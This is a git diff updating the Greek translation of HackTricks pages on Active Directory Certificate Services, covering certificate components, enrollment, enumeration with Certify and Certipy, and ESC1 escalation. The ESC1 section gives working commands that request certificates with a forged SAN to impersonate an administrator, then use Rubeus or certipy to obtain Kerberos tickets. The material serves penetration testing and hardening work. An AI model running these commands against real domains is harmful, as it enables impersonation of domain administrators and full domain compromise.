diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index 13046b83e..2755e265b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -6,107 +6,117 @@ ### Components of a Certificate -- Ο **Θέμα** του πιστοποιητικού δηλώνει τον κάτοχό του. -- Ένα **Δημόσιο Κλειδί** συνδυάζεται με ένα ιδιωτικά διατηρούμενο κλειδί για να συνδέσει το πιστοποιητικό με τον νόμιμο κάτοχό του. -- Η **Περίοδος Ικανότητας**, που καθορίζεται από τις ημερομηνίες **NotBefore** και **NotAfter**, σηματοδοτεί τη διάρκεια ισχύος του πιστοποιητικού. -- Ένας μοναδικός **Αριθμός Σειράς**, που παρέχεται από την Αρχή Πιστοποίησης (CA), προσδιορίζει κάθε πιστοποιητικό. -- Ο **Εκδότης** αναφέρεται στην CA που έχει εκδώσει το πιστοποιητικό. -- Το **SubjectAlternativeName** επιτρέπει πρόσθετα ονόματα για το θέμα, ενισχύοντας την ευελιξία αναγνώρισης. -- Οι **Βασικοί Περιορισμοί** προσδιορίζουν αν το πιστοποιητικό είναι για μια CA ή μια τελική οντότητα και καθορίζουν περιορισμούς χρήσης. -- Οι **Εκτεταμένες Χρήσεις Κλειδιών (EKUs)** καθορίζουν τους συγκεκριμένους σκοπούς του πιστοποιητικού, όπως η υπογραφή κώδικα ή η κρυπτογράφηση email, μέσω Αναγνωριστικών Αντικειμένων (OIDs). -- Ο **Αλγόριθμος Υπογραφής** προσδιορίζει τη μέθοδο υπογραφής του πιστοποιητικού. -- Η **Υπογραφή**, που δημιουργείται με το ιδιωτικό κλειδί του εκδότη, εγγυάται την αυθεντικότητα του πιστοποιητικού. +- Το **Subject** του πιστοποιητικού δηλώνει τον κάτοχό του. +- Ένα **Public Key** είναι σε ζεύγος με ένα ιδιωτικά φυλασσόμενο κλειδί για να συνδέει το πιστοποιητικό με τον νόμιμο κάτοχό του. +- Η **Validity Period**, ορισμένη από τις ημερομηνίες **NotBefore** και **NotAfter**, προσδιορίζει τη χρονική διάρκεια ισχύος του πιστοποιητικού. +- Ένας μοναδικός **Serial Number**, που παρέχεται από την Certificate Authority (CA), αναγνωρίζει κάθε πιστοποιητικό. +- Ο **Issuer** αναφέρεται στην CA που έχει εκδώσει το πιστοποιητικό. +- Το **SubjectAlternativeName** επιτρέπει πρόσθετα ονόματα για τον subject, αυξάνοντας την ευελιξία στην αναγνώριση. +- Τα **Basic Constraints** υποδεικνύουν αν το πιστοποιητικό είναι για μια CA ή για ένα end entity και ορίζουν περιορισμούς χρήσης. +- Τα **Extended Key Usages (EKUs)** καθορίζουν τους συγκεκριμένους σκοπούς του πιστοποιητικού, όπως code signing ή email encryption, μέσω Object Identifiers (OIDs). +- Ο **Signature Algorithm** προσδιορίζει τη μέθοδο υπογραφής του πιστοποιητικού. +- Η **Signature**, δημιουργημένη με το ιδιωτικό κλειδί του issuer, εγγυάται την αυθεντικότητα του πιστοποιητικού. ### Special Considerations -- Οι **Εναλλακτικές Ονομασίες Θέματος (SANs)** επεκτείνουν την εφαρμογή ενός πιστοποιητικού σε πολλές ταυτότητες, κρίσιμη για διακομιστές με πολλαπλά domains. Οι ασφαλείς διαδικασίες έκδοσης είναι ζωτικής σημασίας για την αποφυγή κινδύνων προσποίησης από επιτιθέμενους που χειρίζονται την προδιαγραφή SAN. +- Τα **Subject Alternative Names (SANs)** επεκτείνουν την εφαρμοσιμότητα ενός πιστοποιητικού σε πολλαπλές ταυτότητες, κρίσιμα για servers με πολλούς domains. Απαιτούνται ασφαλείς διαδικασίες έκδοσης για να αποφευχθεί ο κίνδυνος impersonation από attackers που χειρίζονται την προδιαγραφή του SAN. ### Certificate Authorities (CAs) in Active Directory (AD) -Η AD CS αναγνωρίζει τα πιστοποιητικά CA σε ένα δάσος AD μέσω καθορισμένων κοντέινερ, καθένα από τα οποία εξυπηρετεί μοναδικούς ρόλους: +Το AD CS αναγνωρίζει τα CA certificates σε ένα AD forest μέσω καθορισμένων containers, το καθένα με ξεχωριστό ρόλο: -- Το κοντέινερ **Certification Authorities** περιέχει αξιόπιστα πιστοποιητικά ρίζας CA. -- Το κοντέινερ **Enrolment Services** περιγράφει τις Enterprise CAs και τα πρότυπα πιστοποιητικών τους. -- Το αντικείμενο **NTAuthCertificates** περιλαμβάνει πιστοποιητικά CA που έχουν εξουσιοδοτηθεί για την αυθεντικοποίηση AD. -- Το κοντέινερ **AIA (Authority Information Access)** διευκολύνει την επικύρωση της αλυσίδας πιστοποιητικών με ενδιάμεσα και διασταυρούμενα πιστοποιητικά CA. +- Το **Certification Authorities** container περιέχει trusted root CA certificates. +- Το **Enrolment Services** container περιγράφει Enterprise CAs και τα certificate templates τους. +- Το **NTAuthCertificates** object περιλαμβάνει CA certificates εξουσιοδοτημένα για AD authentication. +- Το **AIA (Authority Information Access)** container διευκολύνει την επικύρωση της certificate chain με intermediate και cross CA certificates. ### Certificate Acquisition: Client Certificate Request Flow -1. Η διαδικασία αίτησης ξεκινά με τους πελάτες να βρίσκουν μια Enterprise CA. -2. Δημιουργείται μια CSR, που περιέχει ένα δημόσιο κλειδί και άλλες λεπτομέρειες, μετά τη δημιουργία ενός ζεύγους δημόσιου-ιδιωτικού κλειδιού. -3. Η CA αξιολογεί την CSR σε σχέση με τα διαθέσιμα πρότυπα πιστοποιητικών, εκδίδοντας το πιστοποιητικό με βάση τα δικαιώματα του προτύπου. -4. Μετά την έγκριση, η CA υπογράφει το πιστοποιητικό με το ιδιωτικό της κλειδί και το επιστρέφει στον πελάτη. +1. Η διαδικασία αίτησης ξεκινά με τους clients να εντοπίζουν ένα Enterprise CA. +2. Δημιουργείται ένα CSR που περιέχει ένα public key και άλλες πληροφορίες, μετά τη δημιουργία ενός ζεύγους public-private key. +3. Η CA αξιολογεί το CSR σε σχέση με τα διαθέσιμα certificate templates και εκδίδει το πιστοποιητικό βάσει των permissions του template. +4. Μετά την έγκριση, η CA υπογράφει το πιστοποιητικό με το ιδιωτικό της κλειδί και το επιστρέφει στον client. ### Certificate Templates -Ορισμένα εντός της AD, αυτά τα πρότυπα περιγράφουν τις ρυθμίσεις και τα δικαιώματα για την έκδοση πιστοποιητικών, συμπεριλαμβανομένων των επιτρεπόμενων EKUs και δικαιωμάτων εγγραφής ή τροποποίησης, κρίσιμα για τη διαχείριση της πρόσβασης στις υπηρεσίες πιστοποιητικών. +Ορισμένα μέσα στο AD, αυτά τα templates περιγράφουν τις ρυθμίσεις και τα δικαιώματα για την έκδοση πιστοποιητικών, συμπεριλαμβανομένων των επιτρεπόμενων EKUs και των δικαιωμάτων enrollment ή modification, κρίσιμα για τη διαχείριση πρόσβασης στις υπηρεσίες πιστοποιητικών. ## Certificate Enrollment -Η διαδικασία εγγραφής για πιστοποιητικά ξεκινά από έναν διαχειριστή που **δημιουργεί ένα πρότυπο πιστοποιητικού**, το οποίο στη συνέχεια **δημοσιεύεται** από μια Enterprise Certificate Authority (CA). Αυτό καθιστά το πρότυπο διαθέσιμο για εγγραφή πελατών, ένα βήμα που επιτυγχάνεται προσθέτοντας το όνομα του προτύπου στο πεδίο `certificatetemplates` ενός αντικειμένου Active Directory. +Η διαδικασία enrollment για πιστοποιητικά αρχίζει από έναν administrator που **δημιουργεί ένα certificate template**, το οποίο στη συνέχεια **δημοσιεύεται** από μια Enterprise Certificate Authority (CA). Αυτό καθιστά το template διαθέσιμο για client enrollment, ένα βήμα που επιτυγχάνεται προσθέτοντας το όνομα του template στο πεδίο `certificatetemplates` ενός Active Directory object. -Για να ζητήσει ένας πελάτης ένα πιστοποιητικό, πρέπει να παραχωρηθούν **δικαιώματα εγγραφής**. Αυτά τα δικαιώματα καθορίζονται από τους περιγραφείς ασφαλείας στο πρότυπο πιστοποιητικού και την ίδια την Enterprise CA. Τα δικαιώματα πρέπει να παραχωρούνται και στις δύο τοποθεσίες για να είναι επιτυχής μια αίτηση. +Για να κάνει ένας client αίτηση για πιστοποιητικό, πρέπει να του έχουν χορηγηθεί **enrollment rights**. Αυτά τα δικαιώματα ορίζονται από security descriptors πάνω στο certificate template και στην Enterprise CA ίδια. Τα permissions πρέπει να χορηγηθούν και στις δύο τοποθεσίες για να είναι επιτυχημένη μια αίτηση. ### Template Enrollment Rights -Αυτά τα δικαιώματα καθορίζονται μέσω Εισόδων Ελέγχου Πρόσβασης (ACEs), που περιγράφουν δικαιώματα όπως: +Αυτά τα rights καθορίζονται μέσω Access Control Entries (ACEs), που περιγράφουν permissions όπως: -- Δικαιώματα **Certificate-Enrollment** και **Certificate-AutoEnrollment**, καθένα από τα οποία σχετίζεται με συγκεκριμένα GUIDs. -- **ExtendedRights**, επιτρέποντας όλες τις εκτεταμένες άδειες. -- **FullControl/GenericAll**, παρέχοντας πλήρη έλεγχο πάνω στο πρότυπο. +- **Certificate-Enrollment** και **Certificate-AutoEnrollment** rights, το καθένα συνδεδεμένο με συγκεκριμένα GUIDs. +- **ExtendedRights**, που επιτρέπουν όλα τα extended permissions. +- **FullControl/GenericAll**, που παρέχουν πλήρη έλεγχο πάνω στο template. ### Enterprise CA Enrollment Rights -Τα δικαιώματα της CA περιγράφονται στον περιγραφέα ασφαλείας της, προσβάσιμο μέσω της κονσόλας διαχείρισης της Αρχής Πιστοποίησης. Ορισμένες ρυθμίσεις επιτρέπουν ακόμη και σε χρήστες με χαμηλά προνόμια απομακρυσμένη πρόσβαση, γεγονός που θα μπορούσε να είναι ανησυχητικό για την ασφάλεια. +Τα rights της CA περιγράφονται στο security descriptor της, προσβάσιμο μέσω της κονσόλας διαχείρισης Certificate Authority. Ορισμένες ρυθμίσεις επιτρέπουν ακόμη και σε low-privileged users απομακρυσμένη πρόσβαση, κάτι που μπορεί να αποτελεί θέμα ασφαλείας. ### Additional Issuance Controls -Ορισμένοι έλεγχοι μπορεί να ισχύουν, όπως: +Μπορεί να εφαρμόζονται ορισμένοι έλεγχοι έκδοσης, όπως: -- **Έγκριση Διαχειριστή**: Τοποθετεί τις αιτήσεις σε εκκρεμή κατάσταση μέχρι να εγκριθούν από έναν διαχειριστή πιστοποιητικών. -- **Πράκτορες Εγγραφής και Εξουσιοδοτημένες Υπογραφές**: Προσδιορίζουν τον αριθμό των απαιτούμενων υπογραφών σε μια CSR και τα απαραίτητα Αναγνωριστικά Πολιτικής Εφαρμογής OIDs. +- **Manager Approval**: Τοποθετεί αιτήσεις σε pending κατάσταση έως ότου εγκριθούν από certificate manager. +- **Enrolment Agents and Authorized Signatures**: Προσδιορίζουν τον αριθμό απαιτούμενων signatures σε ένα CSR και τα αναγκαία Application Policy OIDs. ### Methods to Request Certificates -Τα πιστοποιητικά μπορούν να ζητηθούν μέσω: +Πιστοποιητικά μπορούν να ζητηθούν μέσω: -1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), χρησιμοποιώντας διεπαφές DCOM. -2. **ICertPassage Remote Protocol** (MS-ICPR), μέσω ονομάτων σωλήνων ή TCP/IP. -3. Της **διαδικτυακής διεπαφής εγγραφής πιστοποιητικών**, με τον ρόλο Web Enrollment της Αρχής Πιστοποίησης εγκατεστημένο. -4. Της **Υπηρεσίας Εγγραφής Πιστοποιητικών** (CES), σε συνδυασμό με την Υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών (CEP). -5. Της **Υπηρεσίας Εγγραφής Δικτύου** (NDES) για συσκευές δικτύου, χρησιμοποιώντας το Απλό Πρωτόκολλο Εγγραφής Πιστοποιητικών (SCEP). +1. Του **Windows Client Certificate Enrollment Protocol** (MS-WCCE), χρησιμοποιώντας DCOM interfaces. +2. Του **ICertPassage Remote Protocol** (MS-ICPR), μέσω named pipes ή TCP/IP. +3. Του **certificate enrollment web interface**, με εγκατεστημένο το Certificate Authority Web Enrollment role. +4. Της **Certificate Enrollment Service** (CES), σε συνδυασμό με την Certificate Enrollment Policy (CEP) service. +5. Της **Network Device Enrollment Service** (NDES) για network devices, χρησιμοποιώντας το Simple Certificate Enrollment Protocol (SCEP). -Οι χρήστες Windows μπορούν επίσης να ζητήσουν πιστοποιητικά μέσω του GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων γραμμής εντολών (`certreq.exe` ή της εντολής `Get-Certificate` του PowerShell). +Οι Windows users μπορούν επίσης να αιτηθούν πιστοποιητικά μέσω του GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων command-line (`certreq.exe` ή την εντολή PowerShell `Get-Certificate`). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Πιστοποίηση Πιστοποιητικού +## Αυθεντικοποίηση με Πιστοποιητικά -Το Active Directory (AD) υποστηρίζει την πιστοποίηση μέσω πιστοποιητικού, κυρίως χρησιμοποιώντας τα πρωτόκολλα **Kerberos** και **Secure Channel (Schannel)**. +Το Active Directory (AD) υποστηρίζει αυθεντικοποίηση με πιστοποιητικά, χρησιμοποιώντας κυρίως τα πρωτόκολλα **Kerberos** και **Secure Channel (Schannel)**. -### Διαδικασία Πιστοποίησης Kerberos +### Διαδικασία αυθεντικοποίησης Kerberos -Στη διαδικασία πιστοποίησης Kerberos, το αίτημα ενός χρήστη για ένα Ticket Granting Ticket (TGT) υπογράφεται χρησιμοποιώντας το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Αυτό το αίτημα υποβάλλεται σε πολλές επικυρώσεις από τον ελεγκτή τομέα, συμπεριλαμβανομένης της **έγκυρης** κατάστασης του πιστοποιητικού, της **διαδρομής** και της **κατάστασης ανάκλησης**. Οι επικυρώσεις περιλαμβάνουν επίσης την επαλήθευση ότι το πιστοποιητικό προέρχεται από μια αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **κατάστημα πιστοποιητικών NTAUTH**. Οι επιτυχείς επικυρώσεις οδηγούν στην έκδοση ενός TGT. Το αντικείμενο **`NTAuthCertificates`** στο AD, που βρίσκεται στη: +Στη διαδικασία αυθεντικοποίησης Kerberos, το αίτημα ενός χρήστη για ένα Ticket Granting Ticket (TGT) υπογράφεται χρησιμοποιώντας το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Το αίτημα αυτό υπόκειται σε διάφορους ελέγχους από τον domain controller, συμπεριλαμβανομένης της **έγκυρότητας** του πιστοποιητικού, της **διαδρομής (path)** και της **κατάστασης ανάκλησης**. Οι έλεγχοι περιλαμβάνουν επίσης την επαλήθευση ότι το πιστοποιητικό προέρχεται από αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **NTAUTH certificate store**. Επιτυχείς έλεγχοι έχουν ως αποτέλεσμα την έκδοση ενός TGT. Το **`NTAuthCertificates`** αντικείμενο στο AD, που βρίσκεται στο: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -είναι κεντρικό για την establishment εμπιστοσύνης για την πιστοποίηση μέσω πιστοποιητικών. +είναι κεντρικό για την εγκαθίδρυση εμπιστοσύνης για την πιστοποίηση μέσω πιστοποιητικών. -### Secure Channel (Schannel) Authentication +### Αυθεντικοποίηση Secure Channel (Schannel) -Το Schannel διευκολύνει ασφαλείς συνδέσεις TLS/SSL, όπου κατά τη διάρκεια ενός handshake, ο πελάτης παρουσιάζει ένα πιστοποιητικό που, αν επικυρωθεί επιτυχώς, εξουσιοδοτεί την πρόσβαση. Η αντιστοίχιση ενός πιστοποιητικού σε έναν λογαριασμό AD μπορεί να περιλαμβάνει τη λειτουργία **S4U2Self** του Kerberos ή το **Subject Alternative Name (SAN)** του πιστοποιητικού, μεταξύ άλλων μεθόδων. +Το Schannel διευκολύνει ασφαλείς συνδέσεις TLS/SSL, όπου κατά τη διάρκεια ενός handshake, ο πελάτης παρουσιάζει ένα πιστοποιητικό που, εφόσον επικυρωθεί επιτυχώς, εξουσιοδοτεί την πρόσβαση. Η αντιστοίχηση ενός πιστοποιητικού σε λογαριασμό AD μπορεί να περιλαμβάνει τη λειτουργία του Kerberos **S4U2Self** ή το **Subject Alternative Name (SAN)** του πιστοποιητικού, μεταξύ άλλων μεθόδων. -### AD Certificate Services Enumeration +### Εντοπισμός AD Certificate Services -Οι υπηρεσίες πιστοποιητικών του AD μπορούν να καταμετρηθούν μέσω LDAP queries, αποκαλύπτοντας πληροφορίες σχετικά με τις **Enterprise Certificate Authorities (CAs)** και τις ρυθμίσεις τους. Αυτό είναι προσβάσιμο από οποιονδήποτε χρήστη που έχει πιστοποίηση τομέα χωρίς ειδικά προνόμια. Εργαλεία όπως το **[Certify](https://github.com/GhostPack/Certify)** και το **[Certipy](https://github.com/ly4k/Certipy)** χρησιμοποιούνται για την καταμέτρηση και την αξιολόγηση ευπαθειών σε περιβάλλοντα AD CS. +Οι υπηρεσίες πιστοποιητικών του AD μπορούν να ανιχνευθούν μέσω ερωτημάτων LDAP, αποκαλύπτοντας πληροφορίες για **Enterprise Certificate Authorities (CAs)** και τις ρυθμίσεις τους. Αυτό είναι προσβάσιμο από οποιονδήποτε χρήστη πιστοποιημένο στο domain χωρίς ειδικά προνόμια. Εργαλεία όπως **[Certify](https://github.com/GhostPack/Certify)** και **[Certipy](https://github.com/ly4k/Certipy)** χρησιμοποιούνται για την απογραφή και την αξιολόγηση ευπαθειών σε περιβάλλοντα AD CS. Οι εντολές για τη χρήση αυτών των εργαλείων περιλαμβάνουν: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +129,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index cac221cc0..9877a62c2 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -1,109 +1,121 @@ -# AD CS Domain Escalation +# AD CS Ανάβαθμιση στο Domain {{#include ../../../banners/hacktricks-training.md}} -**Αυτή είναι μια περίληψη των τμημάτων τεχνικών κλιμάκωσης των αναρτήσεων:** + +**Αυτή είναι μια περίληψη των τμημάτων τεχνικών ανάβαθμισης των δημοσιεύσεων:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy) -## Misconfigured Certificate Templates - ESC1 +## Μη σωστά ρυθμισμένα πρότυπα πιστοποιητικών - ESC1 -### Explanation +### Επεξήγηση -### Misconfigured Certificate Templates - ESC1 Explained +### Μη σωστά ρυθμισμένα πρότυπα πιστοποιητικών - ESC1 Επεξηγημένα -- **Τα δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.** -- **Η έγκριση του διευθυντή δεν απαιτείται.** -- **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.** -- **Οι περιγραφείς ασφαλείας στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας στους χρήστες με χαμηλά προνόμια να αποκτούν δικαιώματα εγγραφής.** -- **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:** -- Οι ταυτοί Extended Key Usage (EKU) όπως Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ή χωρίς EKU (SubCA) περιλαμβάνονται. -- **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν ένα subjectAltName στην Αίτηση Υπογραφής Πιστοποιητικού (CSR) επιτρέπεται από το πρότυπο:** -- Η Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για την επαλήθευση ταυτότητας αν είναι παρόν. Αυτό σημαίνει ότι καθορίζοντας το SAN σε μια CSR, μπορεί να ζητηθεί ένα πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ., έναν διαχειριστή τομέα). Εάν μπορεί να καθοριστεί ένα SAN από τον αιτούντα υποδεικνύεται στο αντικείμενο AD του προτύπου πιστοποιητικού μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό του SAN από τον αιτούντα. +- **Δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.** +- **Δεν απαιτείται έγκριση από manager.** +- **Δεν χρειάζονται υπογραφές από εξουσιοδοτημένο προσωπικό.** +- **Οι security descriptors στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.** +- **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα ώστε να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:** +- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included. +- **Το πρότυπο επιτρέπει στους αιτούντες να περιλαμβάνουν subjectAltName στο Certificate Signing Request (CSR):** +- Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) ενός πιστοποιητικού για την επαλήθευση ταυτότητας εάν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί πιστοποιητικό για να μιμηθεί οποιονδήποτε χρήστη (π.χ. έναν domain administrator). Το αν μπορεί να οριστεί SAN από τον αιτούντα υποδεικνύεται στο αντικείμενο του προτύπου πιστοποιητικού στο AD μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό της SAN από τον αιτούντα. > [!CAUTION] -> Η ρύθμιση που περιγράφεται επιτρέπει στους χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιοδήποτε SAN επιλέξουν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε τομεακός κύριος μέσω Kerberos ή SChannel. +> Η περιγραφόμενη διαμόρφωση επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιαδήποτε SAN επιθυμούν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε domain principal μέσω Kerberos ή SChannel. -Αυτή η δυνατότητα είναι μερικές φορές ενεργοποιημένη για να υποστηρίξει τη δημιουργία πιστοποιητικών HTTPS ή host κατά την πτήση από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης. +Αυτή η δυνατότητα μερικές φορές ενεργοποιείται για να υποστηρίξει τη δυναμική δημιουργία HTTPS ή host πιστοποιητικών από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης. -Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτή την επιλογή ενεργοποιεί μια προειδοποίηση, κάτι που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένη την `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να περιλαμβάνει ένα OID αυθεντικοποίησης. +Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή προκαλεί προειδοποίηση, κάτι που δεν ισχύει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένο το `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να συμπεριλάβει ένα authentication OID. -### Abuse +### Κατάχρηση -Για να **βρείτε ευάλωτα πρότυπα πιστοποιητικών** μπορείτε να εκτελέσετε: +Για να **βρείτε ευάλωτα πρότυπα πιστοποιητικών** μπορείτε να τρέξετε: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Για να **καταχραστεί αυτή την ευπάθεια για να προσποιηθεί έναν διαχειριστή**, θα μπορούσε να εκτελέσει: +Για να **εκμεταλλευτεί αυτή την ευπάθεια για να προσποιηθεί έναν διαχειριστή** κάποιος θα μπορούσε να εκτελέσει: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Στη συνέχεια, μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **αυθεντικοποίηση χρησιμοποιώντας Rubeus ή certipy** ξανά: +Στη συνέχεια μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **αυθεντικοποίηση με Rubeus ή certipy** ξανά: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για να παραχθεί το PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για να δημιουργήσουν το PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Η καταμέτρηση των προτύπων πιστοποιητικών εντός του σχήματος διαμόρφωσης του AD Forest, συγκεκριμένα εκείνων που δεν απαιτούν έγκριση ή υπογραφές, που διαθέτουν Client Authentication ή Smart Card Logon EKU, και με την ενεργοποιημένη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο LDAP query: +Η απαρίθμηση των προτύπων πιστοποιητικών στο σχήμα διαμόρφωσης του AD Forest, συγκεκριμένα αυτών που δεν απαιτούν έγκριση ή υπογραφές, που έχουν Client Authentication ή Smart Card Logon EKU, και με το flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ενεργοποιημένο, μπορεί να γίνει εκτελώντας το ακόλουθο LDAP query: ``` 